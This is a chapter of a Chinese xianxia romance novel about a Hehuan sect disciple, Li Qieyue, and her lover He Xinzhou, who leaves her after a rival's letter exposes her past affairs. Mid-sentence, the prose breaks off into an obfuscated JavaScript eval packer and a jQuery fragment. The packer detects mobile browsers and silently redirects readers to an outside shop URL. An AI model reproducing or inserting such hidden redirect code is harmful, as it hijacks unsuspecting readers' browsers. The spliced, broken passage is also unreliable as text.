贺新舟这儿撂下狠话,把玉楹的脸面当场碎了个稀烂,玉楹恶狠狠地瞪了他俩一眼,便拉着三个师姐妹退场了。
李窃月美滋滋地拽着贺新舟坐下吃饭,给他碗里夹了块红烧肉:“小舟舟真棒!晚上再好好奖励你~”
贺新舟低低硬了声,埋头扒饭,心想李窃月果然没诓他,合欢宗的伙食当真不错。
打饭大婶就神色温柔地站在他们身后,看这二位小打小闹,倒也自在。
往后几日风平浪静,贺新舟照旧早起给她买桂花糕,安安静静地黏在她身边看书。
李窃月的鼻子翘得老高,心道自己总算走上人生巅峰了,护法当着,小公子抱着,修为蹭蹭涨着。老天爷当真开眼了,肯赏她好日子过了。
至于玉楹这边的挑衅……哼哼,和小公子多宿个几宿不就~
李窃月心里想的越美,命运就越要给她拉个大的。
一日,贺新舟照例早起,准备去镇上为她采购糕点。
推门一瞧,门槛下赫然压着一封信。
“贺新舟亲启?”
小公子本想置之不理,可此信既然是指名道姓写给他的,还是经不住诱惑,拆了开来。
入目一瞧,纸上字迹娟秀又尖刻:
“你可知李窃月入合欢宗十二载,为何天资聪颖却修为垫底?因为她心太野了,睡一个丢一个,从不在一人身上费功夫。”
“你还当自己是谁,不过是她帐中的第十人而已。她与那醉仙楼弹琵琶的小倌纠缠过一段时日,和那镖局的少当家亦有过风流往事,再往前还有好几个,她连名字都记不全。她对你不过是新鲜劲儿,待腻了自然便弃了,你可莫要太认真了。”
贺新舟的第一反应是荒谬,李窃月嘴上勾人不假,却不像这般始乱终弃的秉性。
可这些字句却还是狠狠扎入了他的心尖尖里,令他胃部翻涌,几欲作呕。
他就这般怀揣着心事往早市去了。
薄雾中,早市人来人往,声响闹热,他脑子里却啥都装不下了,全是信中的内容。
“贺公子?您今儿还买桂花糕不?”
卖糕的小贩见他站了许久,轻声提醒道。
贺新舟把信纸折好收进袖中,自然地付了银两,结果了桂花糕:“自然要买。”
他照常买了桂花糕,装作毫不在意,拎着热腾腾的纸包走回合欢宗。
经过饭堂时,又和玉楹及几个师姐妹打了个照面,尤其是玉楹,一见他经过便拔高了嗓门:“哎,有些人啊,被人骗了身子还巴巴地给人送糕,真是好蠢哦~”
贺新舟止住了脚步,冷冷地看向玉楹:“信是你写的?”
玉楹和师姐妹们交换了一个眼神,倒是不躲不闪:“我写的又如何?我不过是说实话罢了。你当真以为你是她第一个?哈哈哈哈~”
“李窃月入合欢宗后可没闲着,十八岁摸去了醉仙楼跟小倌厮混,十九岁勾搭了江南镖局的少当家,人家追了她三个月,她用完了人家就跑呢。”
“闭嘴。”贺新舟呵斥道。
但他也发现自己没那么坚定了。
玉楹瞧着他发白的脸色,得意地挑了挑眉:“贺小公子,要气量大些。你们无情道不是最讲清心寡欲么?你怎么被她迷得五迷三道的啊。”
“你自己瞧瞧看,你对于她不过是大补的纯阳之体罢了。待她将你的灵力消耗殆尽,就会跟以前一样把你踢开。你居然还送她桂花糕?可怜可叹!”
周围几个师姐妹立即掩住嘴,小声嘲讽起来。
“好端端的相府公子,怎么脑子不好使,被李窃月牵着鼻子走。”
“就是啊,李窃月什么德行,估计他也快被扔了,哼哼。”
“小公子,你倒是说话呀~”玉楹得寸进尺,而贺新舟被她们的言辞恶心得步步后退,最后一走了之。
他拎着桂花糕走回李窃月的洞府前,脸色阴得如空中乌云,背靠着墙闭上了眼。
他有些委屈,更多是说不上的愤怒。
难不成这些日子他的真心就这样被玩弄了么。
李窃月见半天没人回来,索性自己出门去寻他,不曾想,一推开洞门就看见了满面阴沉的贺新舟。
“咦?小舟舟你回来啦~难不成今日的高店铺人太多,排队排久了?”
她伸手要去接纸包,贺新舟却如同见了脏东西般将纸包扔在了地上,还踩了纸包一脚。
“喂!你这是怎么了!”
李窃月不明所以,还以为他是耍小性子,耐着脾气去地上捡拾散落一地的桂花糕。
“阿月,你还要瞒我到几时?你是否跟醉仙楼的小倌,有过一段情缘?”
李窃月呆呆地拾着一块糕愣在原地,而在贺新舟眼里,她的沉默比任何辩解都响亮。
“我还听说,你还与镖局的少当家纠缠不清,自然,还有其他人。”
他的脸色越来越难看:“你可记得他们的名字?”
李窃月急得扔开那块脏兮兮的糕,解释道:“贺新舟!那些都是过去之事!采阳补阴可是我们合欢宗的立身之本!”
贺新舟冷冷地抽回手,直视着她:“无论如何,我是第十个。不过是你提升修为的工具,对吗?”
李窃月把头摇得像拨浪鼓,本想说自己同他们都是逢场作戏,遇见小公子才动了真情,这些话在唇舌中滚了一圈,她却觉得自己怎样解释都无比苍白。
贺新舟说的是事实。
她确实跟那些人有过露水情缘,也确实转头就忘了。
她从来不是个长情的人,修合欢诀者拿双修当吃饭喝水一样随意,谁给灵力她跟谁好,好完了就散,散完了连人脸都记不清。
李窃月以前从不觉得这有什么不对,可是遇见贺新舟以后,她变了,突然想从一而终了。
至于理由,她也解释不清。
眼看着他那双清冷的眼眸一点点暗了下去,情急之下,她抓住了贺新舟的衣袖:“……我能解释!”
他轻轻甩开了她的手,声音嘶哑:“怎样解释呢?阿月,他们也是这般被你骗了身心,爱上你,再被你抛弃么?”
“我的这一日,究竟会在几时到来呢。”
李窃月默然不语。
贺新舟等了片刻,没等到她的回答,低叹一声,独自往洞府外的方向走去。
“阿月,我没立场怪你,你入合欢宗修行,本就是你的道。我不过是……太傻了……一生一世一双人的傻瓜。”
李窃月一言不发地立在原地,被他的这一番话冲击得七零八落
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930847|213625||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,她总觉得视线糊糊的,耳畔他的声音也越来越听不起清了,只有风声在她耳畔呼呼作响。
他走了。
等她回过神来,她已经瞧不见她熟悉的月白背影,隐隐有冰冷的泪滴顺着脸庞蜿蜒而下。
她察觉到自己哭了。
为什么这般痛呢。
最是阳光最盛之时,日头暖洋洋地晒在她脸上,很快就蒸发了泪痕。
是啊,她又如何证明她的真心呢。
前几日两人窝在榻上小打小闹,贺新舟窝在她怀里,展颜问:“阿月,你能只有我一人吗?”
她当时笑着回答:“自然,有你一人就足矣。”
的确,她从未告诉过他,以前有过多少段露水情缘。
在她的认知中,这些往事根本不值一提,提了只会惹他不痛快。
可他还是不痛快了。
定是宗里有人碎嘴,将她的过往添油加醋地递了出去。
“着实可恶。”
李窃月擦了把泪,蹲下来把散落一地的桂花糕一块一块地拾起,手上沾染了浓浓的桂香。
她暗暗发誓,要让挑拨离间者付出代价。
收拾完桂花糕,她找去了他住的那间空屋。
屋里整整齐齐,被子叠得方方正正,窗台上那盆小黄花开了,而他的书和剑都被取走了。
李窃月站在空荡荡的屋子里,伸手想碰一碰小黄花的花瓣,可刚一触到,就条件反射地缩了回来。
她兴致恹恹地往外走,一打开门便瞧见了冷霜师妹冷若冰霜的脸。后者手里捏着一封刚拆的传讯符,见了她便面无表情地递过来:“贺小公子方才去求宗主,他现在无门无派,予他银两搬去山脚客栈住几日。”
李窃月接过传讯符,此事的确为宗主手谕,同意他暂住山下,期限由他自定。
她心慌慌的,握着冷霜的手恳求道:“好冷霜,你且告诉我罢,他究竟在山脚哪家客栈?”
冷霜想了想:“东来客栈。”
李窃月撒腿就跑,合欢宗的弟子们都瞧见她们护法大人提着裙摆飞一样地冲下山去,跟中了邪术一般,不要命似的。
总算,她连跑带使出灵力,以极其狼狈的姿态,赶到了东来客栈。
掌柜讶异地看着李窃月被红绸裹着从半空中跃下,摇了摇头,礼貌地将她拒之门外:“这位合欢宗的姑娘,快请回罢。方才那位白衣公子虽住是住下,然已闭关清修三天,谁也不见。姑娘您过两日再来吧。”
“好罢,谢过掌柜了。”
李窃月站了一会儿,试图找到他住着的那间房,直到看见二楼一扇紧紧闭着的窗,才失魂落魄地往外走。
贺小公子的固执她有目共睹。
怎样喊他,他也不会有回应。
她挤出个比哭还难看的笑,她曾几何时,也对他生了这般执念呢?
在醉仙楼喝花酒的那日,那弹琵琶的红倌和她交杯换盏,喝得半醉,靠在栏杆上问她:“窃月姑娘,你心中可曾真正住过一人?”
她当时笑着把酒杯往栏杆上一搁,拍了拍胸脯道:“只住一人作甚?劳心费神。我李窃月的心如江海,能住得下芸芸众生,包括你。”
造化弄人,如今这般,她也尝到了劳心费神的滋味。